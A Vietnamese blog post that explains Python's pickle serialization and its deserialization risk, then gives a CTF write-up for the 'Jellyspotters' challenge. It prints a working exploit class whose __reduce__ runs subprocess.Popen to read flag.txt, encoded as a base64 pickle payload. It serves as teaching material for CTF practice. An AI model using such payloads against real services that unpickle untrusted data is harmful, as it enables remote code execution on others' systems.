Python Pickle-Deserialization Vulnerability – Nhat Truong Blog

I. Pickle là gì?

Là dưa chuột :v Đây là một phần của thư viện Python theo mặc định, là một mô-đun quan trọng bất cứ khi nào bạn cần sự bền bỉ giữa các phiên người dùng. Là một mô-đun, pickle cung cấp khả năng lưu các đối tượng Python giữa các quy trình.

Cho dù bạn đang lập trình cho cơ sở dữ liệu , trò chơi, diễn đàn hoặc một số ứng dụng khác phải lưu thông tin giữa các phiên, pickle rất hữu ích để lưu số nhận dạng và cài đặt. Mô-đun pickle có thể lưu trữ những thứ như kiểu dữ liệu như boolean, chuỗi và mảng byte, danh sách, từ điển, hàm, v.v.

II. Khai thác điểm yếu

  • Chắc hẳn trong thực tế bạn sẽ gặp những task mà cần phải lưu trữ hoặc truyền tải các đối tượng (Object), dữ liệu (Data). Bài toán đặt ra ở đây là làm thế nào để thực hiện điều đó mà vẫn giữ nguyên được trạng thái của nó. Serialization/Deserialization được đưa ra để giải quyết vấn đề này. Serialization là việc ghi các trạng thái của 1 đối tượng thành dạng dữ liệu có thể truyền tải hoặc lưu trữ được. Còn Deserialization là việc tái thiết lại các đối tượng từ các dữ liệu này.
  • Pickle được sinh ra để giúp chúng ta làm việc này. Tuy nhiên bạn cần rất lưu ý khi sử dụng nó. Ngay trên document của thư viện này cũng có cảnh báo.

III. Ứng dụng giải CTF

Đây là bài Jellyspotters, được list trong thư mục là pwn, nhưng theo mình đây cũng có thể bài web:v

Telnet tới umbccd.io 4200 nhận được giao diện như sau:

Sau vài vòng khảo sát nhận import xổ ra lỗi liên quan tới pickle, thực hiện build payload:

import subprocess import base64 import pickle class Exploit(object): def __reduce__(self): return (subprocess.Popen, (('cat', 'flag.txt'),)) print(base64.b64encode(pickle.dumps(Exploit())))

Chạy đoạn code gen serialization data để exploit, trong trường hợp này nó chạy thư viện Popen lấy thông tin từ lệnh cat flag mà ra:

Import vào, dễ như bánh rồi.

Share this:

  • Click to share on Twitter (Opens in new window)
  • Click to share on Facebook (Opens in new window)
Like Loading...

Từ khóa » Thư Viện Pickle Trong Python